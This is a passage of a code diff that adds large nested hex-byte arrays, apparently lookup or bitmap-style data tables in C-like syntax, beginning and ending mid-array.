+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x3e, 0x2f},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x3e, 0x2f},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x1e, 0x2f},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x1e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x1e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f}
+        },
+        {
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x4e, 0x1f},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x4e, 0x1f},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x2e, 0x1f},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x2e, 0x1f},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x2e, 0x3f},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x2e, 0x3f},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x3e, 0x3f},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x3e, 0x3f},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x3e, 0x2f},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x3e, 0x2f},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x1e, 0x2f},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x3d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x7d, 0x1e, 0x2f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x1e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x1e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x7d, 0x0e, 0x4f}
+        },
+        {
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x4e, 0x17},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x4e, 0x17},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x2e, 0x17},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x2e, 0x17},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x2e, 0x37},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x2e, 0x37},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x3e, 0x37},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x3e, 0x37},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x3e, 0x27},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x3e, 0x27},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x1e, 0x27},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x1e, 0x27},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x1e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x1e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x65, 0x4e, 0x07},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x4e, 0x17},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x4e, 0x17},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x2e, 0x17},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x65, 0x2e, 0x17},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x25, 0x2e, 0x17},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x2e, 0x37},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x2e, 0x37},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x3e, 0x37},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x25, 0x3e, 0x37},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x2d, 0x3e, 0x37},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x3e, 0x27},
+            {0x38, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x3e, 0x27},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x1e, 0x27},
+            {0x78, 0x31, 0x22, 0x1b, 0x34, 0x2d, 0x1e, 0x27},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x22, 0x1b, 0x34, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x1b, 0x74, 0x6d, 0x1e, 0x27},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x1e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x1e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47},
+            {0x78, 0x71, 0x42, 0x0b, 0x74, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x20, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x39, 0x12, 0x2b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x12, 0x2b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x2b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x2b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x20, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x28, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x31, 0x32, 0x3b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x32, 0x3b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x3b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x3b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x28, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x68, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x71, 0x22, 0x1b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x22, 0x1b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x1b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x1b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x20, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x79, 0x12, 0x2b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x39, 0x12, 0x2b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x12, 0x2b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x2b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x2b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x20, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x28, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x39, 0x32, 0x3b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x31, 0x32, 0x3b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x32, 0x3b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x3b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x3b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x28, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x68, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x31, 0x22, 0x1b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x71, 0x22, 0x1b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x22, 0x1b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x1b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x1b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x71, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x20, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x19, 0x12, 0x6b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x12, 0x6b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x6b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x6b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x20, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x28, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x11, 0x32, 0x7b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x32, 0x7b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x7b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x7b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x28, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x68, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x51, 0x22, 0x5b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x22, 0x5b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x20, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x59, 0x12, 0x6b, 0x5c, 0x65, 0x2e, 0x17},
+            {0x20, 0x19, 0x12, 0x6b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x12, 0x6b, 0x5c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x6b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x6b, 0x1c, 0x25, 0x2e, 0x17},
+            {0x20, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x20, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x2e, 0x37},
+            {0x28, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x19, 0x32, 0x7b, 0x1c, 0x25, 0x3e, 0x37},
+            {0x28, 0x11, 0x32, 0x7b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x32, 0x7b, 0x1c, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x7b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x7b, 0x14, 0x2d, 0x3e, 0x37},
+            {0x28, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x28, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x3e, 0x27},
+            {0x68, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x11, 0x22, 0x5b, 0x14, 0x2d, 0x1e, 0x27},
+            {0x68, 0x51, 0x22, 0x5b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x22, 0x5b, 0x14, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x1e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x17},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x17},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x6e, 0x37},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x6e, 0x37},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x7e, 0x37},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x7e, 0x37},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x7e, 0x27},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x7e, 0x27},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x5e, 0x27},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x17},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x17},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x17},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x17},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x25, 0x6e, 0x17},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x6e, 0x37},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x6e, 0x37},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x7e, 0x37},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x25, 0x7e, 0x37},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x2d, 0x7e, 0x37},
